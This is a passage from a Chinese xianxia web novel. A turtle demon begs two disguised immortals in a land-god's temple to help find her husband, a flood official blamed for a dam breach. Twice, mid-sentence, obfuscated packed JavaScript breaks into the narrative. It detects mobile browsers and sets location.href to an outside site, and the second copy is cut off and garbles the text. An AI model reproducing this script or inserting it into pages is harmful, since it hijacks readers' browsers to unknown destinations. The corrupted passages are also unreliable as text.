阮瓀终于清理干净了,她早知道那少年又回来了,更何况乌龟又不是瞎子,天色越暗,水渠又越发灯火通明,刺得她不得不注意岸上的人。 她对岸上人招了招手,道:“你和他们还是不一样的,只是我不让你下来,是因为这是我的事,我不需要你帮忙,淤泥是他们推下来的,你也不需要替他们向我道歉,该道歉的也是他们。另外,你和他们也没什么不同…都是一般的迂腐读书人,脑子蠢笨,四肢简单,不及这湖里的一虾一鱼。” 少年手掌紧握书卷,心中漏拍,他初来的本意,的确是为同窗的莽撞行为,想弥补点什么。 毕竟东河道通渠少女并不是第一天做活到天黑,但他的突然而至,却是第一次。 他心思不纯… 非为道歉,而是他也不明,蓟安塬和过水湖…为何会成为阻碍他们入仕的一道屏障。 阮瓀淌水而出,拔出一盏灯笼,另一只手拖着铁锹,漫步朝湖心的桥廊走去,喃喃道:“领你一盏明灯,算是我不介意你也是书生了。” 她继续自顾自,言语道:“哎~读书人都像你们这般做什么都要一个目的吗?难道没有你们应该做的事情吗?搞不懂…就没有你们也应该担的责任吗?还真不如我们湖里的鱼虾,他们还知道,身在过水湖,就得替过水湖清理一日的浮藻,你们倒真是无责一身轻,悠悠荡荡,懵懵懂懂,肩上轻轻,念念诗…之乎者也,明月明日定会有,今生今日不必愁…咦~还真是无聊。” 少女声音越来越轻,越来越远,可每一个字却越来越重。 书生手中书卷掉落,口中呢喃着阮瓀那句,“明月明日定会有,今生今日不必愁…” 少女身影早已不见,只余他和渠道边的明灯烛火,突然,他似乎知道了今日这篇以过水湖为题的小论是何用意了,大笑道:“哈哈哈,我们还真的是无聊,空有雄鹰之心,竟无鱼虾可担当。” 斯为人,当承一则,或为天下,或为君主,或为今日。尽所能,当如前世安塬,在其位,辅天下安邦,在其职,谋万民福祉,不图眼前利,不问后世名;当如今日之过水湖,未雨绸缪,定百姓之心,安四方之局,与湖中所有,给湖中所有。 此日后,东河道的水渠边又多了一人身影,他手持书卷,伴着渠中少女。 这人正是那日留下来的书生。 他这些日子在水渠边,最喜欢听少女唠唠叨叨地吐槽岸上学子,夸赞水中鱼虾。 他又特别苦恼,少女总想赶他离开。 “书生,你守了我数月,可知我叫什么名字?” “还不知。” “我叫阮瓀,耳元阮,王需瓀。” “阮瓀姑娘,安好。” “你叫什么名字?” “郤人杰,谷耳郤…” “我知道,你书卷上写着呢…不过我就想听你亲口告诉我,因为你长得好看,说话声音也好听,和其他人不一样,可你为什么要守着我?搞不懂…” “想如阮瓀姑娘一般,看懂湖中鱼虾。” “看鱼虾?明日你再来,我叫他们都过来给你瞧瞧。” “啊?” “我吆喝一声,它们必然捧场的,你等着就好了。” “好,多谢阮瓀姑娘。” 自此,过水湖生了一奇观——‘鱼虾游渠’。 众所周知,何为水渠,混且浅的泄水小河道,只生淤泥乱石,杂草浮漂的地方。 然而,就是这样的地方,却在过水湖的东河道出现了三次‘鱼虾游渠’的景象。 一次是通渠少女许诺备考书生的第二日。 东河道水渠里鱼虾拥挤涌动,不顾淤泥裹身,在通渠少女的脆丽嗓音中,争相恐后地跳出水面,让岸上的书生一睹它们的面容。 第二次,是过水湖通渠少女出嫁。 顺着东河道水渠,沿着风雨江,为贺新婚,替少女清尽渠中污浊。那鱼虾还一路相送,不肯散去,还是作为新娘的通渠少女再三相劝,鱼虾才纷纷返回了过水湖中。 三载又三载…三载又三载,备考书生成了风雨江使,通渠少女也从书生夫人,变成了风雨江使夫人,肩上所担之责,由疏通过水湖东河泥道,改为协助夫君替风雨江筑建挡水泥坝。 也因此缘故,这第三次‘鱼虾游渠’的景象,便是风雨江发大水之时。 东河道的水渠边,嫁做人妇的通渠少女,在过水湖大妖的驱使下,为保临安郡,哭声哀绝,唤来万千鱼虾,一同清走东河道水渠中的堵塞杂物。 那几日,暴雨来袭,挡水石坝突然被炸,江水突泄,东河道的淤泥又猛然被疏通,整个过水湖的水,加上风雨江突发的大雨,让江水都弥漫上了岸口。 虽弃小保大,让临安郡和过水湖一带成功渡劫,却仍是致使风雨江下游百姓死伤无数。 郤人杰这位风雨江使,就此背上了万古骂名,生不见人,死不见尸。 阮瓀抽抽噎噎,面色纠结,无助呐喊道:“我夫君郤人杰是好人,也是一个好官,此事罪不在他,石坝被毁,河渠泄洪,风雨江发大水,这些都不是他的过错,可是人帝却把罪名只加在他一人头上,待我寻到他了,一切自会真相大白。” 几段妇女哭泣声传来… “呜呜呜,好可怜。” “郤人杰?风雨江上的官大人好像就姓郤…” “郤人杰!郤大人…我知道,他是一个好官。” “到石料场拉石料的差役说起过,这位官大人待人极好,从不苛刻。” “听说这次炸坝,也是为了保住临安郡…” “早一点点遣散周围的人就好了。” “郤大人…” “我也听说过他…” “原来你是郤大人的夫人。” 一女鬼,同情道:“郤夫人,你也死了吗?郤大人可怎么办啊,孤零零的。” 一鬼,打量阮瓀,道:“身子看着倒挺重,不像死人。” “你刚刚没听见吗?她说她是龟妖。” “她是妖!” “咋咋呼呼!!她是妖,你还是鬼呢!!!” “哈哈哈,倒是哦,她是要,可我是鬼了…” “胆小鬼。” … 寻声望去,四方桌上多了七八口瓷碗,碗中还或多或少留着清冽的雪水,桌子旁的另外两根长凳上,早已挤着坐了七人,两边各三位大人,其中一妇人手中还抱着孩童轩儿,大眼团团,趴在桌上聆听,周围也拥了一圈又一圈的人,手上统一的拿着一只小碗,时不时往嘴上递送。 埭骰挤在人群当中,神色哀怨。 堂堂一无常,居然还没有坐的地方。 此刻,听着故事,也无人在意这尊卑了。 阮瓀擦干眼泪道:“我…只想寻到我夫君。” 她眼巴巴地望向对面两人,期待着回应。 然而,远处却传来一道熟悉的女声,道:“无常埭骰,按地域名册将鬼魂列队,本官要开始办理路引了。” 土地官虽小,却有仙阶,不仅有魂命,还在天庭画了名。 闻言,埭骰身为无常,不敢怠慢,止住内心的好奇,急忙催促着围在桌子周围的鬼魂,列队而站。 阮瓀抓紧时间,朝第五茗和酆小洪二人,问道:“不知二位仙者,可否帮我寻一寻我夫君?” 第五茗道:“小事小事…” 酆小洪却道:“不可。” 第五茗诧异地看向酆小洪,此事无伤大雅,不过是抬抬手就能解决,她不明白酆小洪为何要拒绝。 但仙君做事,向来有自己的一套准则,既然别人都说了不愿,第五茗也不是个会勉强他人的人。 窘迫回头,她道:“夫人,你先前不是已经在探寻气息吗?再找其他人问问?或许也能寻到踪迹。” 阮瓀锲而不舍,道:“仙者,寻气息之法太慢了。” 似这法子,她已尝试过无数次,脸色焦灼,道:“总是寻到一两缕,找到气息来源时,我夫君却又没了踪迹。” 第五茗道:“那你可以访一访风雨江上的土地庙,指不定他们的名册上有你夫君的消息。” 阮瓀摇摇头,道:“土地我也已经找过。这平安村是风雨江上的最后一处,而庙中的册子也只剩最后一本,我眼下仍未找到半点踪迹。” 第五茗皱眉,看了眼不为所动的酆小洪,继续安慰阮瓀,道:“没找到也是好事,说明他尚在人间,夫人再慢慢寻一寻便好了。” 桌子周围的鬼魂都散了开,只剩她和酆小洪还坐在原地没动,埭骰远远地招呼了句,道:“蒲小明,你们别坐着了,这不是在外面,不要惹出事来。” 第五茗嘟囔了句,道:“我什么时候惹事了…” 扯了扯酆小洪衣襟,她语气不好地提醒道:“仙君,我们也去队伍后面排好吧,莫要在别人地盘惹事了…” 「惹事」二字,一顿一促,仿佛在埋怨:先前的事明明就是你干的,现在好了,无常埭骰反而怪到我身上了。 又是扯衣襟? 这举动,酆小洪分外熟悉,那是第五茗与人熟络后,才会有的小动作。 且这次和先前落座时很不一样,更是随意,更是亲昵。 酆小洪垂眸低笑,喜悦应道:“好。” 二人刚排到队伍末端,阮瓀又跟了过来,有过先前在桌旁被呵斥的经历,她所站的位置离酆小洪更近一点,哀声婉求道:“仙者,阮瓀请求您能指点一二,我只想守在夫君身边,并没有其他心思。” 酆小洪未搭理,第五茗自知能力不足,不敢搭理。 阮瓀继续道:“我夫君郤人杰是人间官员,于风雨江也积累了不少功德,运势亦是极好,来日定是要飞升上天的,仙者今日帮助一二,我夫妻二人定会铭记在心,他日定当涌泉相报。” 酆小洪眼眸未抬,似知道点什么,冷声道:“是吗?” 倒是第五茗,在前方听见阮瓀此话,心中明了:飞升?大功德之人?郤人杰这人倒是听过,功德是有,只是大到可以原地飞升,那倒没有…最多被上仙点飞,做一个下仙或者地仙。 瞧瞧风雨江淹死这么多人,如今瘟疫横行,又再死这么多人,天帝竟没派一两位仙君下凡协助,便知这人间,近段时间并没有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547187|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么是让天界放不下的人。 而阮瓀这番话,哄哄地仙和无常便罢了,对于第五茗和酆小洪这种仙阶不低,知不少天界秘辛的仙君来说,那纯纯就是在威逼利诱。 阮瓀道:“是的,待夫君飞天,我们必定谨记仙者之恩。” 酆小洪口角干脆,道:“可本君不需要。” 阮瓀道:“仙者,我求求您…” 酆小洪未语,反而提醒身前观望的第五茗,道:“上君,该往前走了,不然待会儿又要有人说你准备惹事了。” 听得入迷,一时竟忘了正事,第五茗白捡了一则故事听,却不能为故事付上些许酬劳,心中多少还是有点过意不去,闷头在前,看似装作听不见身后两人对话,实际上却是全身心地注意着身后两人的动作。 想当初,她在地府时,听了小鬼故事,都要大方地回请小鬼喝上两口茶酒,如今两袖清风,白贪了点东西,居然觉得浑身不自在。 回应酆小洪的声音有些忐忑,她道:“哦…多谢仙君提醒。” 刚上前一步,手上却是一暖,暖中还伴有麻刺疼痛,竟是身后伸来的细嫩手指,扣在了她的手腕命脉上。 对方腕间,流窜着丝丝绿色妖气,第五茗心中歉意顿时消失,反手拦下酆小洪探来的手,侧步介于酆小洪和阮瓀之间,对阮瓀冷言冷语道:“夫人,你求这位仙君办事,为何要挟持我呢?你是不是拿错人了…” 阮瓀想起刚刚在桌边,酆小洪担忧第五茗魂魄会受损时眼中的紧张和关切,痴痴道:“对不起,我只是想寻我夫君。” 第五茗不等她说完,戏谑道:“你这小妖,胆子未免太大了些,你想威胁我?” 阮瓀摇头道:“不是的,我…我…不想的,他在意你,我…我需要立即找到我夫君…不然他会死的。” 第五茗神情漠然,道:“你是妖,应当知道,死后你也是可以去地府寻他魂魄,这幅模样,倒是真装得像一凡人。” 阮瓀哽咽道:“仙者,你不明白,我夫君死了,就寻不回来了,他…他…他不是像你这样,他死了,便是真的没了,求你帮一帮我吧。” 绿色妖气,已在两人手掌之间流动,第五茗吃痛蹙眉,道:“身有金光,就有能力管你的闲事吗?怎么逮着一个神仙就霍霍,这么能干,你怎么不去找堂上土地!!蠢啊!!!痛死了!!!” 酆小洪紧张道:“她用力了?是我疏忽,没有及时拦下她。” 第五茗见阮瓀仍执迷不悟,左挪了半步。 酆小洪见状,欺身上前,温怒道:“也不看自己有没有没这个本事。” 阮瓀浑身颤抖,道:“仙者,我也是被逼无奈…我没有恶意的。” 酆小洪道:“蠢!” 喀嚓~ “啊!” 一声惨叫伴随而至。 众人循声望来,阮瓀蜷缩在地,一手掐握另一手,而那被掐握的手腕上并没有手,只有潺潺流出的鲜血,浸淌入面色痛苦的人身上。 第五茗驻足而立,面前金辉闪烁,自她手腕间的一枚佩印坠子传来,因光辉耀眼,众人都看不清那究竟是一个什么东西。 在那一刹那,只能约莫瞧见白光之前,酆小洪矗立的身影,头颅微垂,似在睥睨观摩地上的人挣扎。 刚刚酆小洪迁就第五茗的举动,未及时出手相助,原是又在「招来」物品。 堂上,酸楂身形虽看着年岁尚小,但实际是位活了千年的土地,瞧见这边的情形,立马吩咐埭骰埭桡脱下外袍,在堂口,如第五茗在风雨江中时一样,此时由她用无常外袍撑出一片幕帘,挡住了庭院中的光。酸楂执笔画符,贴于袍上,咒念道:“以幕为界,圈地!” 做罢,对支撑幕布的埭骰埭桡吩咐道:“看好堂内鬼魂。从这幕布漏点光进来,但凡损失一只鬼,你二人都是要摊上大麻烦的。” 埭骰埭桡头冒虚汗,齐声答道:“上官放心,我二人定不会懈怠,谨听吩咐。” 倒是埭骰多生出了一丝担忧,毕竟那强光就在第五茗面前,他忧心忡忡,双眼紧盯幕布,想透过这层隔帘看见点什么。 光芒之下,就瞬间一眼,酸楂便认出了,那是在泰山东岳帝君殿中复命时见过的东西——通阳太明之印。 她走出幕布前,将一身麻衣挥手换成了土地玉袍。 墨绿服裳,胸前绣着五福,腰间捆扎玉带,头戴纱帽,她手上捧着一束象征土地身份的稻谷,穿幕而出,俯身作揖,高声唱喝道:“平安村土地酸楂,见过老爷。” 神仙下凡行走,凡不着玉袍展露身份时,一般见了都是唤一声“道友”,若是位阶太高,或者是能力太大之人,懂事的小仙都会尊称一声“老爷”。 叫我?还穿了玉袍?这么隆重… 第五茗不是第一次听见不认识的小仙叫她“老爷”了,柔声道:“仙友客气了。唤声道友或是上君,已是抬举了。” 酆小洪倒未去思虑酸楂这句问候是对谁,既不答话,也不准备理会酸楂。 要知道第五茗魂魄受妖气侵蚀,他受小妖威胁之事的始作俑者,正是被这位土地酸楂放入的庙内之境,他未将事情牵责,已是宽容。 酆小洪转过身来,护在第五茗身旁,静待佩印光辉流转。 酸楂脑袋轻侧,心中纳闷:这声音怎么这么熟悉… 抬起头,才瞧清,说话之人居然是野果子树下和她打赌的女子。 10. 阳寿尚在魂被勾3 事情是这样,酸楂乃风雨江一孤女,沿着江岸一镇十九村吃百家饭长大。 一日山中采药,发现山顶雪水大面积融化顺流而下时,竟将山崖上的沙土裹挟了下来,酸楂见状,恐风雨江遭灾难,在回到江岸的当夜,冒着大雨,逆流而行,为一镇十九村村民报信。 山洪突至,村民提前收到讯息,早早躲避在高坡上,逃过一劫,而酸楂却被掩于泥沙之中。 年方十四,心怀大义,以一命救数千性命于危难。 酸楂肉身死时,功德圆满,得了做地仙的机遇,被任命了土地之职。 平安村是流民凑出来的村子,没有多少土地愿意来这儿,酸楂死得早,性子跳脱,知道平安村为土地选的庙祗有一颗野果子树,她便主动申请了这人少事少、还有野味吃的地方职位。 庙内有一小像,是第五茗所画,酸楂很是不喜欢,太过奇形怪状。 所以…那日第五茗哭丧着脸,呆坐在她庙旁偷吃她的野果子时,她心里气愤极了,生了捉弄的心,突然显形在第五茗面前。 结果,没把对方吓倒,还莫名其妙被第五茗诓着进行了一场赌局。 赌一局:随手摘一颗野果子,看谁吐出的核最多。 酸楂输了,就得为第五茗寻一壶烈酒,或是寻来治外伤的草药。 第五茗输了,便要斥巨资为酸楂修建一幢和石井村一样的土地庙。 最后,自然是酸楂输了。 八颗果核!! 第五茗吃进嘴里的野果子,十次能有六七次吐出八颗果核,而酸楂吃了几十年的野果子,最多也只能吐出七颗。 酸楂知第五茗赌局是为了救家中摔入陷阱坑,那腿脚破了大口子的痴儿,故意选了烈酒付赌约。 “是你!” 酸楂惊呼,知道有些失礼,语气缓和了一些,道:“原是位仙友…那日竟还诓我一壶酒,当真昧心。” 第五茗也惊呼道:“果子妖…” 妖?什么眼力见!! 酸楂没好气道:“你才是妖,我乃平安村土地酸楂。” 第五茗仔细瞧来,对面人的身影上,果然有一笼熟悉的仙君金辉,笑道:“误会误会,当时我肉眼凡胎,你突然在树下显形,头上还别了一枝带果子的木钗,便自以为你是那野果子树成精了…” 旧事重提,酸渣心气上来,怨声道:“说到这事,我正想问问,你明知我非常人,你就不怕自己赌输了,到时候那痴儿可就没命了。” 第五茗回忆起过往,摇摇头道:“我知自己气运几何,那一赌,我不会输。” 破布褴褛,衣不蔽体…酸楂瞥眼打量,寒碜道:“真不害臊,也没瞧你好运到哪里去!” 第五茗诚然道:“仙友误会了,我气运差到透顶,吃果子,核必定是又多又大,果肉极少…我虽嘴上说着是赌局,但当时早已饿得前胸贴后背,吃进嘴的东西,身体都只会当是在充饥,那摘的果子,吐出的核一定会很多。倒是多谢仙友,给烈酒里还放了草药粉末,不然…他就没命了。” 说罢,她别扭地用余光扫了一眼酆小洪。 酸楂心有不满,行礼的身姿收了回来,甩了甩袖子,面上窘迫,双手扣紧稻谷,侧身躲避道:“不听不听,我迟早会吃出八粒果核,让你来给我修庙。” 第五茗嘴甜地继续道:“仙友心慈,见人间疾苦,愿暗里相助,如今,还为我们备了雪水解渴,若是再有两壶茶酒送行,那便就体贴之至了。” 顿了顿,她道狡黠道:“稍后你来开赌,若赢了,我必定为你重筑庙宇。” 酸楂白了她一眼,道:“想得美!通冥牌内时常在热议,三界有一在地府久久不能归位的上君,你刚刚让我唤你‘道友’或是‘上君’,那人多半就是你吧。” 第五茗答道:“我这么出名了吗?仙友猜的没错,正是我。” 酸楂睨了她一眼,手抚腰间通冥牌,道:“果真如他们说的一般,口无遮拦,厚颜无耻,嗜酒如命,惹人嫌弃。” 通冥牌内,数千万鬼差魂命,参差不齐地闪烁着幽绿鬼火。 通冥牌是何物? 初次做鬼差的小鬼总要问上一句。 尤其在新任东岳帝君继位后,冥界地府多出不少空职,这招兵买马之际,许多刚死的鬼魂被提拔做了冥界鬼差,他们对冥界地府很多东西都不了解,免不了在升任时,会嘴快地再多问上一句。 通冥牌原是前前前前任东岳帝君,在天庭述职时,仿照天庭贯神令,用玄石精铁制成的冥界通行令牌。 冥界的各府各洞各地狱,只要有通冥牌在手,便可以通行无阻。 后帝君又见天界诸仙君把神格至于贯神令中,以此与各仙君立于天命天道的主神格,留言交流,互通信息。 前前前前任东岳帝君认为此法也方便冥界鬼差进行公务交接,便照搬了过来。 但鬼差都是些小鬼,不过是比鬼魂多出一道自由行走的魂命,能力不能和拥有雷霆之力锤炼下生出神格的仙君相比,加上小鬼的道行,也都由身前功德和身后修炼所决定,大都没有多少本事,让以自身之力,通过通冥牌与其他小鬼的魂命交流,实在是难上加难。 前前前前任东岳帝君便亲自在泰山仙府之内,以丹炉的内境,辟出了通冥牌淬炼后可连接的虚幻之地,供鬼差相互之间留言交流,互通信息。 没过多久,前前前前任东岳大帝为了方便管理,又把各鬼差升任时淬出的魂命,都放进了丹炉内境,从此,鬼差们交流就不再需要消耗自身力气,只需要烧一把鬼火,将鬼识通过通冥牌回到魂命上便可。 如今,鬼差已有数千万,里面今非昔比,消息热火朝天,但大致不过都是以恭颂新任东岳帝君的丰功伟绩为主,又再或者,偶尔说一说最近关于索命钩魂的大事。 那属于东岳帝君的魂命,在里面从来没有亮过。 这些时日,大家惯常地恭维恭维了两句,便开始聊其他的了。 尤其今日,里面格外热闹。 官差们主要是在讨论一件关乎他们“幸福干活”事情…第五茗数万年来终于去了人道,算算时日,再有二十五年,就该是她第一次从人道归来。 各地各域的黑白无常,在第五茗投生的二十年里,早早私下通气联系,盘算着一定要在第五茗回来之时,提前找一名新上任的鬼差顶在那一片。 好巧不巧,冥界地府这段时间,由东岳大帝顶着天界的压力,开了不少官职,刚好遂了这批被霍霍惨了的老鬼差心愿。 又好巧不巧,第二件事正好和第五茗在的那个地方有关。 人界,大安十一年,临安郡风雨江发大水,死伤好几万。 这几日,冥界派了不少刚刚因福德升做鬼差的黑白无常前去协助,按照过往的情况,这批黑白无常只要不出什么大问题,最后就应该是留任此地。 冥界无常纷纷在各自岗位上祈祷,希望上君不要东跑西跑,就留在临安,钓钓鱼,划划船,没事再喝喝小酒,平安稳定地留在临安郡度过这一生。 话说这临安郡是个好地方,桥多湖美,水线好。 桥上垂钓,湖上泛舟,水线四通八达,去往各地都十分便利,在此安度一生,也算是一桩美事。 但…坏也坏在了这桥、这湖、这水。 临安风雨江发了场大水。 它非天意,而是受命数影响,突发而来,冥界被迫接收上万亡魂,天界又要负责消散灾厄,人界和妖界因为这场大水,损伤不少,自顾不暇,临安也成了不祥之地。 老鬼差们这才不得不忧心,齐齐聚在通冥牌内议论,第五茗究竟能不能好好待在临安?这次去的这批鬼差,是否又能留下来? 酸楂听着通冥牌内的议论,眼眸瞧着对面嘻嘻乐笑的人,手心越发地湿濡,目光越发的暗沉。 这时,地上的呻吟声,唤回了她的理智,手一松,万千鬼差的吵闹,瞬间从她脑海中消失。 她蓦地想起来此的正事,双唇一抿,没有功夫担心冥界的那一群鬼差,盯着地上的人,语含一丝同情,道:“上君,也请你正经一两回,法器可否收一收?” 酆小洪脸色一暗。 第五茗见状,道:“你要帮龟妖求情?” 伸手指了指幕布之后,酸楂摇头道:“好歹和他们同乡一场,这般,怕不是打算再送他们走一次。” 她没有正面回答。 第五茗挑眉一笑,点点头,道:“你说的有道理。” 然而,她话说的漂亮,手上却是没有一点动静。 酸楂道:“上君,既然应了,便请快些吧。” 不是第五茗不想收,这法器不是她的,且这东西在净她手腕上的妖气,根本停不下来。 拖延的这一会儿时间,好在酸楂此话结束时,第五茗手腕上的绿影也已清除干净。 不等她解释,身前的酆小洪轻点佩印。 随即光辉消失,佩印悬挂到了酆小洪的腰间。 第五名视线顺着消失的光迹,到了酆小洪腰间,不禁思索:何时多了一枚佩印? 我和龟妖阮瓀谈话的时候唤来的? 这模样… 普通的很啊。 那道这仙君炼制法器也偷懒? 样式确实有些普通了… 那方,酆小洪状似无意,却言语犀利,对酸渣淡漠道:“这点小事,一土地两无常,若无法应对处理,可以自请卸任了。” 又转头,他对一直抬着手未放下的第五茗,柔声道:“无碍了,上君可以把手放下了。” 看看石化的酸楂,又看看一直抬着的手,第五茗僵硬地放了下来,回过神,客气道:“多谢仙君。” 没忍住,她还是多嘴道:“其实,下一世重结魂魄也是无碍的,何必弄出这么大的阵仗,险些伤了他人。” 嘴上虽然这样说着,但因妖气消散,身体轻松,第五茗打心里欣喜。 好在,酆小洪并没有顺着她的话,而是坦然道:“至少入轮回前能少疼痛一分是一分,上君,入鬼门关一路,你若是能多以自己为重,想来也不会再生出这些事了。” 第五茗一段,尴尬道:“谨记仙君之言,多谢。” 佩印挂在了男子腰间,酸楂知道自己刚才认错了了人,即便才受了对方的训,也只能一副“你说得对”的表情,重新恭恭敬敬拜礼,重新把拜给第五茗的礼,再对着酆小洪行了一遍,道:“老爷…” 地上呻吟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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埭骰心中焦急,以为是第五茗刚刚又闯下祸事,道:“惹不起是什么意思,他们不也是小鬼吗?” 酸楂头疼道:“真没点眼力见,男的法力高深,你们瞧不出来就算了,女的身上那层金辉,你们二人是眼瞎吗!” 埭骰心中震惊,不解道:“蒲小明真是仙?” 酸楂道:“正解。不光她是,她身旁的酆小洪更是位厉害人物,他能拿着通阳太明之印四处行走,至少也是东岳帝君的身边人。惹不得,惹不得,我惹不得,你们更惹不得。” 埭桡惊叹道:“这么厉害…” 埭骰却有些失落,道:“这么厉害吗?” 复而,他琢磨了一会儿,嘀嘀咕咕,怀疑道:“上官该不会因为刚才的光辉,生了眼疾吧,小明她看起来完全不像仙…” 酸楂再次好意提醒道:“我的见识也就这么多了,你二人最好把他两当祖宗一样供着,入了鬼门关就没事了。入鬼门关前,离远点,多听,少说,少做,少问。” 闻言,埭桡讳莫如深,埭骰却偷摸打量起酸楂,想在这位上官身上找出与其上官不一样的地方。 万籁寂静,三人心中各有各的不安,还是酸楂看见幕布前的路引,先回过神,跳步到幕布前,拔出腰间稻谷,拂扫幕帘解开封印。 酸楂心有余悸,借着身材矮小,躲藏在群鬼中,目送路引飞到堂中两人手中。 而阮瓀依旧还在地上呻吟,二人竟没有半分关照。 群鬼也没有惊诧… 早在酸楂回到幕帘后,酆小洪便施了一道障眼法,隐了阮瓀的身影,所以幕帘消失之时,陆陆续续走入堂外的鬼魂,并没有多大反应,反而因为拿了路引,产生的身体变化,让他们喜出望外。 第五茗拿到路引后,脚上也有了力量,踩在地上,反复剁了两脚找感觉,满意道:“还是这感觉好啊。” 转身,朝散去的鬼群里,找到那一抹小小的墨绿袍身影,拘了一礼。 随即才回身,她对酆小洪道:“那小土地估计是不敢过来了,走吧,该去城隍庙了。” “嗯,好。” 有路引,无路引,于酆小洪而言,都没有多大作用,从石料场行来,他都是最轻松那一个。 但不管他脚步如何轻快,都始终跟在第五茗身后。 甚至,让第五茗生了一种错觉,酆小洪还是“酆小洪”。 没了链锁,二人依旧习惯性地走在队伍最末,却在等鬼魂先行的时间里,给了脚边瑟缩哀鸣的龟妖,喃语的机会。 阮瓀痛苦道:“仙者…求求你…仙者…求你帮帮我,我若寻不到我夫君郤人杰,他真的会死,他会从这世间彻底消失…” 她想伸手挽留准备离开的二人,刚抬起一寸,牵动伤口,断手处的伤口,让她冷吸一口气。 缓和了一瞬,她方继续道:“哪怕指一处方向也好…我龟壳有些作用,仙者若是喜欢,可以拿去…或是仙者喜欢热汤?我肉身还没有签于任何人,只要…只要仙者助我寻到我夫君,我愿奉上千百年肉身…仙者…姑娘…求求你…” 此时要做的就是眼不见,耳不听,心才能硬。 第五茗这三点都做到了,可刚走一步的脚下,却有一硬物膈得她脚底生疼。 那硬东西被踩住,滑溜了一小节。 呲… 第五茗下意识,道:“啊…什么东西…” 11. 阳寿尚在魂被勾4 堂内,响起酸楂的惊呼,道:“啊…我的龟壳…” 她脚下虽急,却不敢跑下来,只是在原地来回跺脚,焦急道:“踩坏了…踩坏了…龟壳踩坏了,这还有许给我的十年呢。” 酆小洪在一旁关心道:“上君,小心。” 第五茗道:“没事,我们快点些吧,他们都出门了。” 酆小洪点点头。 土地庙内境,此时除了第五茗和酆小洪,其他鬼魂早已大步流星,在埭骰埭桡的带领下,走出了庙宇。 第五茗和酸楂的举动,并未引起不必要的骚动。 可…此时的酸楂却抵百鬼。 她震道:“阮瓀,你要做什么?!!” 土地庙回荡着这句话,应声,一颗发着绿光的圆珠子,于一只满手是血的手掌中托起。 第五茗和酆小洪被迫停住了往外走的步伐。 原来,突生的变故,是阮瓀刚刚忍着腕间疼痛,在脱壳剥丹。 此时伤上加伤,嘴角血迹不止,她嘴唇苍白无色,虚弱道:“小妖阮瓀…心意诚然,还请姑娘笑纳…” 求的不是酆小洪这位法力尚在的仙君,亦不是堂内着玉袍的土地酸楂,而是她第五茗。 一个没法力,又没仙阶的鬼魂。 病急乱投医… 求到了一只鬼这里。 但…不得不说,她眼色极好。 她赌对了。 她求对了。 第五茗短呼一口气,语气温和了下来,侧头对酆小洪道:“仙君,可否再请你借我一些法力?” 酆小洪这次没有之前干脆,看出她的意图,劝道:“上君,这小妖和她所寻之人的事,您不能管。” 第五茗道:“我不管。我只是…” 她在想,求人办事,一次被婉拒了,总得想个什么借口,对方没法拒绝的借口。 蓦地,看见地上我见犹怜的龟妖,她肯定道:“我只是想喝汤了。” 顺脚踢了乌龟壳,好巧不巧,她这一脚,让龟壳打在了那只血手上。 红血手掌托的绿光内丹,受龟壳飞来的力道,被打回了阮瓀的身体里,让她回了一份力气,抬高血手,握在了第五茗刻意放低的手上。 两只手之间,金辉闪烁,那是仙君接收祈愿的象征。 阮瓀心领神会,顺势问道:“望请仙者告知,我夫君可在何方寻?” 噗通! 堂内传来栽倒之声,紧接着传来一声抱歉,酸楂道:“我没…没事,你们继续,继续…我什么都没看见。” 她跌坐在地,一手握住法器稻谷,一手扶额遮挡面前发生的事,心里却在骂骂咧咧:卧槽!还能这么干!! 酆小洪面上无奈,嘴上仍拒绝道:“上君,我不能借法力给你。” 第五茗道:“哦…” 手掌紧了紧,低头暗示眼神,她刻意提醒握住她手掌的阮瓀不要松手。 复而仰头,似试探,目光紧锁酆小洪担忧的目光,她模样痛苦,为难道:“龟妖阮瓀,你可以先松一松…我没什么本事,和你一样,只能出点血,才能做成点事。” “上君!” 酆小洪面上明显有一丝不悦,却未有踟蹰,俯身至第五茗耳畔,私语了几字。 “只能告诉她这么多…” 第五茗有片刻失神,差点没听清酆小洪在她耳边说了什么。 她心想,这仙君,居然真的在意她。 何时结的这份善缘,究竟是怎样的因果,竟可让一名仙君巴心巴肝,难道是福气…回来了? 这一世,不会是把下三道和畜生道的霉运都给渡消散了吧? 面上不禁喜悦得很,第五茗抿唇道:“龟妖阮瓀。” 阮瓀跪伏在地,答道:“在…” 第五茗继续道:“你所求之事,已有答案,风雨江水之中,可寻你夫君。” 阮瓀惊喜道:“仙者…敢问是何日何时?” 第五茗看了一眼酆小洪,摇摇头道:“天机不可泄露,你所问之事,只有这么多答案。” 阮瓀直起的身子,瞬间瘫坐而下,笑道:“够了…我会寻到他的。” 她又痴痴念道:“郤郎,等我。” 庙外,发现「蒲小明」和「酆小洪」没有跟上的埭骰,正在外面焦急呼唤二人。 听见叫唤,第五茗见阮瓀的事已经了毕,抽出手,一边在袖襟上擦丝妖气,一边提醒酆小洪跟随而来,便朝外走去。 酆小洪在路过阮瓀身旁时,提醒道:“记得把乌龟汤奉在风雨江城隍庙。” 阮瓀吃了一惊,没想到对方真会要她肉身熬汤,道:“小妖知晓的。” 噗通! 堂内又传来栽倒之声,紧接着传来一声提醒,酸渣别扭道:“龟妖阮瓀,十年龟壳,我这里,你别忘记了!” 原来是酸楂刚爬起来,又因酆小洪那句“乌龟汤”跌坐在地。 望着出门的两只鬼,这次她干脆自暴自弃,不再站起来,席地而坐,舒缓心神,一手握住法器稻谷,一手得闲地向虚空之处探寻,摸出两三颗暗红色野果子吃。 “一、二…六…” 那厢,阮瓀虚弱地应答酸楂的话,道:“阮瓀不会食言…” “一二…五…” “一二…四…呸呸呸,一颗比一颗少。” 